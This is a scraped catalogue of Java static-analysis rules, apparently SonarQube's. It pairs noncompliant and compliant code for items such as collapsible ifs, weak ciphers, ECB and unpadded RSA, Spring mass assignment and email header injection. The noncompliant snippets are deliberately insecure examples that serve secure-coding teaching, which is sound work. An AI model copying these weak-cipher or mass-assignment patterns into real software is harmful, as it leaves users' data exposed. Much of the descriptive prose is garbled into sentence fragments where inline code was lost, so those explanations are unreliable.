JUnit5 is more tolerant regarding the visibilities of Test classes than JUnit4, which required everything to be In this context, JUnit5 test classes can have any visibility but Noncompliant Code Exampleimport org.junit.jupiter.api.Test; public class MyClassTest { // Noncompliant - modifier can be removed @Test protected void test() { // Noncompliant - modifier can be removed // ... } } Compliant Solutionimport org.junit.jupiter.api.Test; class MyClassTest { @Test void test() { // ... } } ExceptionsThis rule does not raise an issue about See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1066 |
Merging collapsible Noncompliant Code Exampleif (file != null) { if (file.isFile() || file.isDirectory()) { /* ... */ } } Compliant Solutionif (file != null && isFileOrDirectory(file)) { /* ... */ } private static boolean isFileOrDirectory(File file) { return file.isFile() || file.isDirectory(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2156 |
The difference between Note that the Noncompliant Code Examplepublic final class MyFinalClass { protected String name = "Fred"; // Noncompliant protected void setName(String name) { // Noncompliant // ... } Compliant Solutionpublic final class MyFinalClass { private String name = "Fred"; public void setName(String name) { // ... } ExceptionsMembers annotated with Guava's public final class MyFinalClass { @VisibleForTesting protected Logger logger; // Compliant @VisibleForTesting protected int calculateSomethingComplex(String input) { // Compliant // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2277 |
Without OAEP in RSA encryption, it takes less work for an attacker to decrypt the data or infer patterns from the ciphertext. This rule logs an
issue as soon as a literal value starts with Noncompliant Code ExampleCipher rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding"); Compliant SolutionCipher rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWITHSHA-256ANDMGF1PADDING"); See
DeprecatedThis rule is deprecated; use S5542 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3366 |
In single-threaded environments, the use of The classic example is a class with a This rule raises an issue when Noncompliant Code Examplepublic class Monument { public static final List<Monument> ALL_MONUMENTS = new ArrayList()<>; // ... public Monument(String location, ...) { ALL_MONUMENTS.add(this); // Noncompliant; passed to a method of another object this.location = location; // ... } } ExceptionsThis rule ignores instances of assigning See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5783 |
When verifying that code raises an exception, a good practice is to avoid having multiple method calls inside the tested code, to be explicit about what is exactly tested. When two of the methods can raise the same checked exception, not respecting this good practice is a bug, since it is not possible to know what is really tested. You should make sure that only one method can raise the expected checked exception in the tested code. Noncompliant Code Example@Test public void testG() { // Do you expect g() or f() throwing the exception? assertThrows(IOException.class, () -> g(f(1)) ); // Noncompliant } @Test public void testGTryCatchIdiom() { try { // Noncompliant g(f(1)); Assert.fail("Expected an IOException to be thrown"); } catch (IOException e) { // Test exception message... } } int f(int x) throws IOException { // ... } int g(int x) throws IOException { // ... } Compliant Solution@Test public void testG() { int y = f(1); // It is explicit that we expect an exception from g() and not f() assertThrows(IOException.class, () -> g(y) ); } @Test public void testGTryCatchIdiom() { int y = f(1); try { g(y); Assert.fail("Expected an IOException to be thrown"); } catch (IOException e) { // Test exception message... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1188 |
Anonymous classes are a very convenient and compact way to inject a behavior without having to create a dedicated class. But those anonymous inner classes should be used only if the behavior to be injected can be defined in a few lines of code, otherwise the source code can quickly become unreadable. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5300 |
Sending emails is security-sensitive and can expose an application to a large range of vulnerabilities. Information Exposure Emails often contain sensitive information which might be exposed to an attacker if he can add an arbitrary address to the recipient list. Spamming / Phishing Malicious user can abuse email based feature to send spam or phishing content. Dangerous Content Injection Emails can contain HTML and JavaScript code, thus they can be used for XSS attacks. Email Headers Injection Email fields such as In the past, it has led to the following vulnerabilities: Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Exampleimport javax.mail.*; import javax.mail.internet.MimeMessage; public class Main { public static void sendEmail (Session session, String subject) throws MessagingException{ Message message = new MimeMessage(session); // Sensitive // For example the setSubject method is vulnerable to Header injection before // version 1.5.6 of javamail message.setSubject(subject); // ... } } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5542 |
To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:
Noncompliant Code ExampleCipher c0 = Cipher.getInstance("AES"); // Noncompliant: by default ECB mode is chosen Cipher c1 = Cipher.getInstance("AES/ECB/NoPadding"); // Noncompliant: ECB doesn't provide serious message confidentiality Cipher c3 = Cipher.getInstance("Blowfish/ECB/PKCS5Padding"); // Noncompliant: ECB doesn't provide serious message confidentiality Cipher c4 = Cipher.getInstance("DES/ECB/PKCS5Padding"); // Noncompliant: ECB doesn't provide serious message confidentiality Cipher c6 = Cipher.getInstance("AES/CBC/PKCS5Padding"); // Noncompliant: CBC with PKCS5 is vulnerable to oracle padding attacks Cipher c7 = Cipher.getInstance("Blowfish/CBC/PKCS5Padding"); // Noncompliant: CBC with PKCS5 is vulnerable to oracle padding attacks Cipher c8 = Cipher.getInstance("DES/CBC/PKCS5Padding"); // Noncompliant: CBC with PKCS5 is vulnerable to oracle padding attacks Cipher c9 = Cipher.getInstance("AES/CBC/PKCS7Padding"); // Noncompliant: CBC with PKCS7 is vulnerable to oracle padding attacks Cipher c10 = Cipher.getInstance("Blowfish/CBC/PKCS7Padding"); // Noncompliant: CBC with PKCS7 is vulnerable to oracle padding attacks Cipher c11 = Cipher.getInstance("DES/CBC/PKCS7Padding"); // Noncompliant: CBC with PKCS7 is vulnerable to oracle padding attacks Cipher c14 = Cipher.getInstance("RSA/NONE/NoPadding"); // Noncompliant: RSA without OAEP padding scheme is not recommanded Compliant Solution// Recommended for block ciphers Cipher c5 = Cipher.getInstance("AES/GCM/NoPadding"); // Compliant // Recommended for RSA Cipher c15 = Cipher.getInstance("RSA/None/OAEPWithSHA-1AndMGF1Padding"); // Compliant Cipher c16 = Cipher.getInstance("RSA/None/OAEPWITHSHA-256ANDMGF1PADDING"); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1067 |
The complexity of an expression is defined by the number of A single expression's complexity should not become too high to keep the code readable. Noncompliant Code ExampleWith the default threshold value of 3: if (((condition1 && condition2) || (condition3 && condition4)) && condition5) { ... } Compliant Solutionif ( (myFirstCondition() || mySecondCondition()) && myLastCondition()) { ... } ExceptionsNo issue is reported inside |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2276 |
If Noncompliant Code Examplepublic void doSomething(){ synchronized(monitor) { while(notReady()){ Thread.sleep(200); } process(); } ... } Compliant Solutionpublic void doSomething(){ synchronized(monitor) { while(notReady()){ monitor.wait(200); } process(); } ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5547 |
Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example. A general recommendation is to only use cipher algorithms intensively tested and promoted by the cryptographic community. More specifically for block cipher, it's not recommended to use algorithm with a block size inferior than 128 bits. Noncompliant Code Exampleimport javax.crypto.Cipher; import java.security.NoSuchAlgorithmException; import javax.crypto.NoSuchPaddingException; public class test { public static void main(String[] args) { try { Cipher c1 = Cipher.getInstance("DES"); // Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search Cipher c7 = Cipher.getInstance("DESede"); // Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack Cipher c13 = Cipher.getInstance("RC2"); // Noncompliant: RC2 is vulnerable to a related-key attack Cipher c19 = Cipher.getInstance("RC4"); // Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security) Cipher c25 = Cipher.getInstance("Blowfish"); // Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks NullCipher nc = new NullCipher(); // Noncompliant: the NullCipher class provides an "identity cipher" one that does not transform or encrypt the plaintext in any way. } catch(NoSuchAlgorithmException|NoSuchPaddingException e) { } } } Compliant Solutionimport javax.crypto.Cipher; import java.security.NoSuchAlgorithmException; import javax.crypto.NoSuchPaddingException; public class test { public static void main(String[] args) { try { Cipher c31 = Cipher.getInstance("AES/GCM/NoPadding"); // Compliant } catch(NoSuchAlgorithmException|NoSuchPaddingException e) { } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1068 |
If a Note that this rule does not take reflection into account, which means that issues will be raised on Noncompliant Code Examplepublic class MyClass { private int foo = 42; public int compute(int a) { return a * 42; } } Compliant Solutionpublic class MyClass { public int compute(int a) { return a * 42; } } ExceptionsThe Java serialization runtime associates with each serializable class a version number, called A serializable class can declare its own public class MyClass implements java.io.Serializable { private static final long serialVersionUID = 42L; } Moreover, this rule doesn't raise any issue on annotated fields. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2278 |
According to the US National Institute of Standards and Technology (NIST), the Data Encryption Standard (DES) is no longer considered secure:
For similar reasons, RC2 should also be avoided. Noncompliant Code ExampleCipher c = Cipher.getInstance("DESede/ECB/PKCS5Padding"); Compliant SolutionCipher c = Cipher.getInstance("AES/GCM/NoPadding"); See
DeprecatedThis rule is deprecated; use S5547 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2157 |
Simply implementing Removing the Noncompliant Code Exampleclass Team implements Cloneable { // Noncompliant private Person coach; private List<Person> players; public void addPlayer(Person p) {...} public Person getCoach() {...} } Compliant Solutionclass Team implements Cloneable { private Person coach; private List<Person> players; public void addPlayer(Person p) { ... } public Person getCoach() { ... } @Override public Object clone() { Team clone = (Team) super.clone(); //... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5669 |
Passing single Noncompliant Code Exampleclass A { public static void main(String[] args) { vararg(null); // Noncompliant, prints "null" int[] arr = {1,2,3}; vararg(arr); // Noncompliant, prints "length: 1" } static void vararg(Object... s) { if (s == null) { System.out.println("null"); } else { System.out.println("length: " + s.length); } } } Compliant Solutionclass A { public static void main(String[] args) { vararg((Object) null); // prints 1 Object[] arr = {1,2,3}; vararg(arr); // prints 3 } static void vararg(Object... s) { if (s == null) { System.out.println("null"); // not reached } else { System.out.println("length: " + s.length); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2039 |
Failing to explicitly declare the visibility of a member variable could result it in having a visibility you don't expect, and potentially leave it open to unexpected modification by other classes. Noncompliant Code Exampleclass Ball { String color="red"; // Noncompliant } enum A { B; int a; } Compliant Solutionclass Ball { private String color="red"; // Compliant } enum A { B; private int a; } ExceptionsMembers annotated with Guava's class Cone { @VisibleForTesting Logger logger; // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5304 |
Using environment variables is security-sensitive. For example, their use has led in the past to the following vulnerabilities: Environment variables are sensitive to injection attacks, just like any other input. Note also that environment variables can be exposed in multiple ways, storing sensitive information in them should be done carefully:
This rule raises an issue when environment variables are read. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding PracticesSanitize every environment variable before using its value. If you store sensitive information in an environment variable, make sure that no other process can access them, i.e. the process runs with a separate user account and child processes don't have access to their parent's environment. Don't run your application in debug mode if it has access to sensitive information, including environment variables. Sensitive Code Examplepublic class Main { public static void main (String[] args) { System.getenv(); // Sensitive System.getenv("myvar"); // Sensitive ProcessBuilder processBuilder = new ProcessBuilder(); Map<String, String> environment = processBuilder.environment(); // Sensitive environment.put("VAR", "value"); Runtime.getRuntime().exec("ping", new String[]{"env=val"}); // Sensitive } } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2159 |
Comparisons of dissimilar types will always return false. The comparison and all its dependent code can simply be removed. This includes:
Specifically in the case of arrays, since arrays don't override However, some developers might expect Noncompliant Code Exampleinterface KitchenTool { ... }; interface Plant {...} public class Spatula implements KitchenTool { ... } public class Tree implements Plant { ...} //... Spatula spatula = new Spatula(); KitchenTool tool = spatula; KitchenTool [] tools = {tool}; Tree tree = new Tree(); Plant plant = tree; Tree [] trees = {tree}; if (spatula.equals(tree)) { // Noncompliant; unrelated classes // ... } else if (spatula.equals(plant)) { // Noncompliant; unrelated class and interface // ... } else if (tool.equals(plant)) { // Noncompliant; unrelated interfaces // ... } else if (tool.equals(tools)) { // Noncompliant; array & non-array // ... } else if (trees.equals(tools)) { // Noncompliant; incompatible arrays // ... } else if (tree.equals(null)) { // Noncompliant // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3369 |
Websphere, Tomcat, and JBoss web servers allow the definition of role-based access to servlets. It may not be granular enough for your purposes, but it's a start, and should be used at least as a base. This rule raises an issue when a web.xml file has no See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1170 |
Making a Further, when a non- Noncompliant Code Examplepublic class Myclass { public final int THRESHOLD = 3; } Compliant Solutionpublic class Myclass { public static final int THRESHOLD = 3; // Compliant } ExceptionsNo issues are reported on final fields of inner classes whose type is not a primitive or a String. Indeed according to the Java specification:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2260 |
When the Java parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1171 |
Non-static initializers are rarely used, and can be confusing for most developers because they only run when new class instances are created. When possible, non-static initializers should be refactored into standard constructors or field initializers. Noncompliant Code Exampleclass MyClass { private static final Map<String, String> MY_MAP = new HashMap<String, String>() { // Noncompliant - HashMap should be extended only to add behavior, not for initialization { put("a", "b"); } }; } Compliant Solutionclass MyClass { private static final Map<String, String> MY_MAP = new HashMap<String, String>(); static { MY_MAP.put("a", "b"); } } or using Guava: class MyClass { // Compliant private static final Map<String, String> MY_MAP = ImmutableMap.of("a", "b"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4682 |
By definition, primitive types are not Objects and so they can't be This rule raises an issue when Noncompliant Code Example@CheckForNull boolean isFoo() { ... } Compliant Solutionboolean isFoo() { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2141 |
Because Noncompliant Code Examplepublic class Student { // no hashCode() method; not hash-able // ... public boolean equals(Object o) { // ... } } public class School { private Map<Student, Integer> studentBody = // okay so far new HashTable<Student, Integer>(); // Noncompliant // ... Compliant Solutionpublic class Student { // has hashCode() method; hash-able // ... public boolean equals(Object o) { // ... } public int hashCode() { // ... } } public class School { private Map<Student, Integer> studentBody = new HashTable<Student, Integer>(); // ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1172 |
Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same. Noncompliant Code Examplevoid doSomething(int a, int b) { // "b" is unused compute(a); } Compliant Solutionvoid doSomething(int a) { compute(a); } ExceptionsThe rule will not raise issues for unused parameters:
@Override void doSomething(int a, int b) { // no issue reported on b compute(a); } public void foo(String s) { // designed to be extended but noop in standard case } protected void bar(String s) { //open-closed principle } public void qix(String s) { throw new UnsupportedOperationException("This method should be implemented in subclasses"); } /** * @param s This string may be use for further computation in overriding classes */ protected void foobar(int a, String s) { // no issue, method is overridable and unused parameter has proper javadoc compute(a); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2140 |
There is no need to multiply the output of This rule raises an issue when the return value of any of Noncompliant Code ExampleRandom r = new Random(); int rand = (int)r.nextDouble() * 50; // Noncompliant way to get a pseudo-random value between 0 and 50 int rand2 = (int)r.nextFloat(); // Noncompliant; will always be 0; Compliant SolutionRandom r = new Random(); int rand = r.nextInt(50); // returns pseudo-random value between 0 and 50 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4449 |
When using null-related annotations at global scope level, for instance using The rule raises an issue every time a parameter could be Noncompliant Code Example@javax.annotation.ParametersAreNonnullByDefault class A { void foo() { bar(getValue()); // Noncompliant - method 'bar' do not expect 'null' values as parameter } void bar(Object o) { // 'o' is by contract expected never to be null // ... } @javax.annotation.CheckForNull abstract Object getValue(); } Compliant SolutionTwo solutions are possible:
@javax.annotation.ParametersAreNonnullByDefault abstract class A { void foo() { Object o = getValue(); if (o != null) { bar(o); // Compliant - 'o' can not be null } } void bar(Object o) { // ... } @javax.annotation.CheckForNull abstract Object getValue(); } or @javax.annotation.ParametersAreNonnullByDefault abstract class A { void foo() { bar(getValue()); } void bar(@javax.annotation.Nullable Object o) { // annotation was missing // ... } @javax.annotation.CheckForNull abstract Object getValue(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5411 |
When boxed type It is safer to avoid such conversion altogether and handle the Noncompliant Code ExampleBoolean b = getBoolean(); if (b) { // Noncompliant, it will throw NPE when b == null foo(); } else { bar(); } Compliant SolutionBoolean b = getBoolean(); if (Boolean.TRUE.equals(b)) { foo(); } else { bar(); // will be invoked for both b == false and b == null } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2143 |
The old, much-derided
Noncompliant Code ExampleDate now = new Date(); // Noncompliant DateFormat df = new SimpleDateFormat("dd.MM.yyyy"); Calendar christmas = Calendar.getInstance(); // Noncompliant christmas.setTime(df.parse("25.12.2020")); Compliant SolutionLocalDate now = LocalDate.now(); // gets calendar date. no time component LocalTime now2 = LocalTime.now(); // gets current time. no date component LocalDate christmas = LocalDate.of(2020,12,25); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4201 |
There's no need to null test in conjunction with an Noncompliant Code Exampleif (x != null && x instanceof MyClass) { ... } // Noncompliant if (x == null || ! x instanceof MyClass) { ... } // Noncompliant Compliant Solutionif (x instanceof MyClass) { ... } if (! x instanceof MyClass) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1174 |
The contract of the Making this method public is misleading, because it implies that any caller can use it. Noncompliant Code Examplepublic class MyClass { @Override public void finalize() { // Noncompliant /* ... */ } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2142 |
Similarly, the
Noncompliant Code Examplepublic void run () { try { while (true) { // do stuff } }catch (InterruptedException e) { // Noncompliant; logging is not enough LOGGER.log(Level.WARN, "Interrupted!", e); } } Compliant Solutionpublic void run () { try { while (true) { // do stuff } }catch (InterruptedException e) { LOGGER.log(Level.WARN, "Interrupted!", e); // Restore interrupted state... Thread.currentThread().interrupt(); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2384 |
Mutable objects are those whose state can be changed. For instance, an array is mutable, but a String is not. Mutable class members should never be returned to a caller or accepted and stored directly. Doing so leaves you vulnerable to unexpected changes in your class state. Instead use an unmodifiable This rule checks that arrays, collections and Dates are not stored or returned directly. Noncompliant Code Exampleclass A { private String [] strings; public A () { strings = new String[]{"first", "second"}; } public String [] getStrings() { return strings; // Noncompliant } public void setStrings(String [] strings) { this.strings = strings; // Noncompliant } } public class B { private A a = new A(); // At this point a.strings = {"first", "second"}; public void wreakHavoc() { a.getStrings()[0] = "yellow"; // a.strings = {"yellow", "second"}; } } Compliant Solutionclass A { private String [] strings; public A () { strings = new String[]{"first", "second"}; } public String [] getStrings() { return strings.clone(); } public void setStrings(String [] strings) { this.strings = strings.clone(); } } public class B { private A a = new A(); // At this point a.strings = {"first", "second"}; public void wreakHavoc() { a.getStrings()[0] = "yellow"; // a.strings = {"first", "second"}; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1175 |
In general, overloading
But beyond that it's a terrible idea to name a method "finalize" if it doesn't actually override Noncompliant Code Examplepublic int finalize(int someParameter) { // Noncompliant /* ... */ } Compliant Solutionpublic int someBetterName(int someParameter) { // Compliant /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2387 |
Having a variable with the same name in two unrelated classes is fine, but do the same thing within a class hierarchy and you'll get confusion at best, chaos at worst. Noncompliant Code Examplepublic class Fruit { protected Season ripe; protected Color flesh; // ... } public class Raspberry extends Fruit { private boolean ripe; // Noncompliant private static Color FLESH; // Noncompliant } Compliant Solutionpublic class Fruit { protected Season ripe; protected Color flesh; // ... } public class Raspberry extends Fruit { private boolean ripened; private static Color FLESH_COLOR; } ExceptionsThis rule ignores same-name fields that are public class Fruit { private Season ripe; // ... } public class Raspberry extends Fruit { private Season ripe; // Compliant as parent field 'ripe' is anyway not visible from Raspberry // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1176 |
Try to imagine using the standard Java API (Collections, JDBC, IO, ...) without Javadoc. It would be a nightmare, because Javadoc is the only way to understand of the contract of the API. Documenting an API with Javadoc increases the productivity of the developers consuming it. On top of a main description for each member of a public API, the following Javadoc elements are required to be described:
Furthermore the following guidelines should be followed:
The following public methods and constructors are not taken into account by this rule:
For the parameters of the rule, the following rules are applied:
Examples:
Noncompliant Code Example/** * This is a Javadoc comment */ public class MyClass<T> implements Runnable { // Noncompliant - missing '@param <T>' public static final DEFAULT_STATUS = 0; // Compliant - static constant private int status; // Compliant - not public public String message; // Noncompliant public MyClass() { // Noncompliant - missing documentation this.status = DEFAULT_STATUS; } public void setStatus(int status) { // Compliant - setter this.status = status; } @Override public void run() { // Compliant - has @Override annotation } protected void doSomething() { // Compliant - not public } public void doSomething2(int value) { // Noncompliant } public int doSomething3(int value) { // Noncompliant return value; } } Compliant Solution/** * This is a Javadoc comment * @param <T> the parameter of the class */ public class MyClass<T> implements Runnable { public static final DEFAULT_STATUS = 0; private int status; /** * This is a Javadoc comment */ public String message; /** * Class comment... */ public MyClass() { this.status = DEFAULT_STATUS; } public void setStatus(int status) { this.status = status; } @Override public void run() { } protected void doSomething() { } /** * Will do something. * @param value the value to be used */ public void doSomething(int value) { /** * {@inheritDoc} */ public int doSomething(int value) { return value; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3355 |
Every filter defined in Noncompliant Code Example<filter> <filter-name>DefinedNotUsed</filter-name> <filter-class>com.myco.servlet.ValidationFilter</filter-class> </filter> Compliant Solution<filter> <filter-name>ValidationFilter</filter-name> <filter-class>com.myco.servlet.ValidationFilter</filter-class> </filter> <filter-mapping> <filter-name>ValidationFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4684 |
On one side, Spring MVC automatically bind request parameters to beans declared as arguments of methods annotated with
On the other end, persistent objects ( These two facts combined together can lead to malicious attack: if a persistent object is used as an argument of a method annotated with
For this reason, using In addition to Noncompliant Code Exampleimport javax.persistence.Entity; @Entity public class Wish { Long productId; Long quantity; Client client; } @Entity public class Client { String clientId; String name; String password; } import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; @Controller public class WishListController { @PostMapping(path = "/saveForLater") public String saveForLater(Wish wish) { session.save(wish); } @RequestMapping(path = "/saveForLater", method = RequestMethod.POST) public String saveForLater(Wish wish) { session.save(wish); } } Compliant Solutionpublic class WishDTO { Long productId; Long quantity; Long clientId; } import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; @Controller public class PurchaseOrderController { @PostMapping(path = "/saveForLater") public String saveForLater(WishDTO wish) { Wish persistentWish = new Wish(); // do the mapping between "wish" and "persistentWish" [...] session.save(persistentWish); } @RequestMapping(path = "/saveForLater", method = RequestMethod.POST) public String saveForLater(WishDTO wish) { Wish persistentWish = new Wish(); // do the mapping between "wish" and "persistentWish" [...] session.save(persistentWish); } } ExceptionsNo issue is reported when the parameter is annotated with See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2386 |
There is no good reason to have a mutable object as the Similarly, mutable Note that making a mutable field, such as an array, This rule raises issues for Noncompliant Code Examplepublic interface MyInterface { public static String [] strings; // Noncompliant } public class A { public static String [] strings1 = {"first","second"}; // Noncompliant public static String [] strings2 = {"first","second"}; // Noncompliant public static List<String> strings3 = new ArrayList<>(); // Noncompliant // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2147 |
Since Java 7 it has been possible to catch multiple exceptions at once. Therefore, when multiple Note that this rule is automatically disabled when the project's Noncompliant Code Examplecatch (IOException e) { doCleanup(); logger.log(e); } catch (SQLException e) { // Noncompliant doCleanup(); logger.log(e); } catch (TimeoutException e) { // Compliant; block contents are different doCleanup(); throw e; } Compliant Solutioncatch (IOException|SQLException e) { doCleanup(); logger.log(e); } catch (TimeoutException e) { doCleanup(); throw e; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3599 |
Because Double Brace Initialization (DBI) creates an anonymous class with a reference to the instance of the owning object, its use can lead to memory leaks if the anonymous inner class is returned and held by other objects. Even when there's no leak, DBI is so obscure that it's bound to confuse most maintainers. For collections, use Noncompliant Code ExampleMap source = new HashMap(){{ // Noncompliant put("firstName", "John"); put("lastName", "Smith"); }}; Compliant SolutionMap source = new HashMap(); // ... source.put("firstName", "John"); source.put("lastName", "Smith"); // ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5778 |
When verifying that code raises a runtime exception, a good practice is to avoid having multiple method calls inside the tested code, to be explicit about which method call is expected to raise the exception. It increases the clarity of the test, and avoid incorrect testing when another method is actually raising the exception. Noncompliant Code Example@Test public void testToString() { // Do you expect get() or toString() throwing the exception? org.junit.Assert.assertThrows(IndexOutOfBoundsException.class, () -> get().toString()); } @Test public void testToStringTryCatchIdiom() { try { // Do you expect get() or toString() throwing the exception? get().toString(); Assert.fail("Expected an IndexOutOfBoundsException to be thrown"); } catch (IndexOutOfBoundsException e) { // Test exception message... } } Compliant Solution@Test public void testToString() { Object obj = get(); Assert.assertThrows(IndexOutOfBoundsException.class, () -> obj.toString()); } @Test public void testToStringTryCatchIdiom() { Object obj = get(); try { obj.toString(); Assert.fail("Expected an IndexOutOfBoundsException to be thrown"); } catch (IndexOutOfBoundsException e) { // Test exception message... } } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2388 |
When an inner class extends another class, and both its outer class and its parent class have a method with the same name, calls to that method can
